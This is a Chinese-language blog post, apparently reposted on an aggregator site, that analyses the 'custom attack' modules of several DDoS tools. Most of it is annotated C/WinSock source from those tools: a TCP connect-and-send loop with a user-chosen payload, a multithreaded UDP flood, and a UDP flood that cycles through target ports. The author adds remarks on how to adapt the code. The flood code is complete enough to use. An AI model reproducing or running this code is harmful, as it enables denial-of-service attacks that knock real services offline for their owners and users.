对现有的所能找到的DDOS代码(攻击模块)做出一次分析----自定义攻击篇
對現有的所能找到的DDOS代碼(攻擊模塊)做出一次分析----自定義攻擊篇
//===================================================
分析者:alalmn—飛龍???????BLOG:http://hi.baidu.com/alalmn
分析的不好請各位高手見諒花了幾個小時分析的呵呵
自定義攻擊
之前有看過TCP?和?UDP?攻擊的在看這個自定義攻擊就很好理解并不難
就是發送數據換成自己的填寫的數據
Maxer?TCP???UDP?自定義攻擊服務端沒有寫代碼
暴風DDOS?TCP???UDP?也就只有界面沒寫代碼
冷風的.h
/************************Define?Pack?Attack***********************************/?
//自定義攻擊?確定包攻擊
unsigned?long?CALLBACK?pack_flood(LPVOID?dParam)?//DEFPACK攻擊
{
SOCKADDR_IN?sockAddr;???//IP信息結構
SOCKET?m_hSocket;???//套接字
//?int?nSent;
int?nSize?=?strlen(PackBuffer);?//計算數據長度
m_hSocket?=?socket(PF_INET,SOCK_STREAM,0);?//設置IPV幾,TCP或UDP連接,TCP或UDP協議?socket第二個參數為SOCK_DGRAM,就是代表是UDP協議~?
memset(&sockAddr,0,sizeof(sockAddr));???//內存空間初始化
sockAddr.sin_family?=?AF_INET;?//指代協議族,在socket編程中只能是AF_INET
sockAddr.sin_port=htons(DdosPort);?//端口
sockAddr.sin_addr.S_un.S_addr=resolve(DdosUrl);???//IP地址
while(1)
{
???if?(connect(m_hSocket,(SOCKADDR*)&sockAddr,?sizeof(sockAddr))?!=?0)?//連接并?查看是否可以連接
???{?//不能連接
????closesocket(m_hSocket);???//關閉SOCKET
????Sleep(100);?//延時
????continue;???//跳出本次循環?
???}
???send(m_hSocket,PackBuffer,nSize,0);
???//發送?IP????????數據緩沖區?數據長度?執行方式
???closesocket(m_hSocket);?//關閉SOCKET
???printf(".");?//DOS提示
???Sleep(100);?//延時
}
return?1;
}
//======================================================================
暴風DDOSVIP2010-225.h
/*----------------------------------------------------------------------------------------*/
void?StartUDP(char?ip[30],int?port,int?mytime,int?xc)?//UDP(流量)???ANSI字符串?zhwt=1;?說是自定義攻擊?攻擊個毛啊?都沒自定義數據操作
/*----------------------------------------------------------------------------------------*/
void?StartSYN(char?ip[30],int?port,int?time,int?xc)???//SYN(流量)?這個也是這樣????16進制字符串?zhwt=2;???根本沒自定義攻擊?都沒自定義數據操作
/*----------------------------------------------------------------------------------------*/
void?zdyudpattack()?//UDP模式????cbao=15;?自定義攻擊
{
int?zdysize=strlen(zdyBuffer);?//計算攻擊字符長度
SOCKADDR_IN?udpaddr;?//IP信息結構
udpaddr.sin_family=AF_INET;?//sin_family?地址家族(必須是AF_INET)
udpaddr.sin_addr.s_addr=inet_addr(tgtIP);?//inet_addr將ip地址轉換成網絡地址
udpaddr.sin_port=htons(tgtPort);?//攻擊端口
SOCKET?s=socket(AF_INET,SOCK_DGRAM,0);?//創建socket???socket第二個參數為SOCK_DGRAM,就是代表是UDP協議~
int?nZero?=?0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char?*)&nZero,sizeof(nZero));?//設置套接口的選項
for?(;;)
{
???if(StopFlag?==?1)?//是否在攻擊狀態
???{
????ExitThread(0);
????return;
???}
???for(int?a=0;a<12;a++)
????sendto(s,zdyBuffer,zdysize,0,(SOCKADDR?*)&udpaddr,sizeof(udpaddr));?//向一指定目的地發送數據
???Sleep(SleepTime);//暫停(毫秒)
}
closesocket(s);?//關閉socket
WSACleanup();
}
void?StartZDYUDP(char?ip[30],char?wr[256],int?port,int?mytime,int?xc)?//UDP模式????cbao=15;?自定義攻擊
{???//wr是攻擊數據
if?(inet_addr(ip)==?INADDR_NONE)
{
???struct?hostent?*hp?=?NULL;
???if?((hp?=?gethostbyname(ip))?!=?NULL)
???{
????in_addr?in;
????memcpy(&in,?hp->h_addr,?hp->h_length);
????strcpy(tgtIP,inet_ntoa(in));
???}
}
else
???strcpy(tgtIP,ip);
tgtPort=port;
timeout=mytime;
memset(zdyBuffer,0,sizeof(zdyBuffer));
strcpy(zdyBuffer,wr);???//wr是攻擊數據
StopFlag?=?-1;
for(z=0;z<xc;z++)
{
???h[z]=CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)zdyudpattack,?NULL,?0,?NULL);
}
if(timeout!=0)
{
???CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)wait_for_end,?NULL,?0,?NULL);
}
}
/*----------------------------------------------------------------------------------------*/
StartZDYTCP(msg.addr,msg.zdy,msg.port,msg.time,msg.thread);?//TCP模式???cbao=16;???自定義攻擊代碼沒有?其實很簡單
//SOCKET?s=socket(AF_INET,SOCK_DGRAM,0);?//創建socket???socket第二個參數為SOCK_DGRAM,就是代表是UDP協議~?
//只要改下這個參數就變了
/*----------------------------------------------------------------------------------------*/
StartSJLW(msg.addr,msg.port,msg.time,msg.thread,msg.s,msg.s2);?//亂舞循環?zbao=24;?沒提供代碼
/*----------------------------------------------------------------------------------------*/
//s1是隨機數???s2應該是結尾
void?PortLHUDP()?//端口輪回?zbao=23;
{
char?senddata[1024];
memset(senddata,'A',1024);
int?sendsize=strlen(senddata);
SOCKADDR_IN?udpaddr;
for?(int?i=S1;i<=S2;++i)
{
???udpaddr.sin_family=AF_INET;
???udpaddr.sin_addr.s_addr=inet_addr(tgtIP);
???udpaddr.sin_port=htons(i);?//i是循環得到的一個動態端口號
???SOCKET?s=socket(AF_INET,SOCK_DGRAM,0);?//創建socket???socket第二個參數為SOCK_DGRAM,就是代表是UDP協議~
???if(StopFlag==1)
???{
????ExitThread(0);
????return;
???}
???for(int?a=0;a<10;a++)
????sendto(s,senddata,sendsize,0,(SOCKADDR?*)&udpaddr,sizeof(udpaddr));
???Sleep(SleepTime);
???if(i==S2)
????i=S1;
}
WSACleanup();
}
void?StartPortLH(char?ip[30],int?time,int?xc,int?s,int?s2)?//端口輪回?zbao=23;
{
if?(inet_addr(ip)==?INADDR_NONE)
{
???struct?hostent?*hp?=?NULL;
???if?((hp?=?gethostbyname(ip))?!=?NULL)
???{
????in_addr?in;
????memcpy(&in,?hp->h_addr,?hp->h_length);
????strcpy(tgtIP,inet_ntoa(in));
???}
}
else
???strcpy(tgtIP,ip);
S1=s;
S2=s2;
timeout=time;
StopFlag?=?-1;
for(z=0;z<xc;z++)
{
???h[z]=CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)PortLHUDP,?NULL,?0,?NULL);
}
if(timeout!=0)
{
???CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)wait_for_end,?NULL,?0,?NULL);
}
}
/*----------------------------------------------------------------------------------------*/
//
總結
以上是生活随笔為你收集整理的对现有的所能找到的DDOS代码(攻击模块)做出一次分析----自定义攻击篇的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 对现有的所能找到个DDOS代码(攻击模块
- 下一篇: 对现有的所能找到的DDOS代码(攻击模块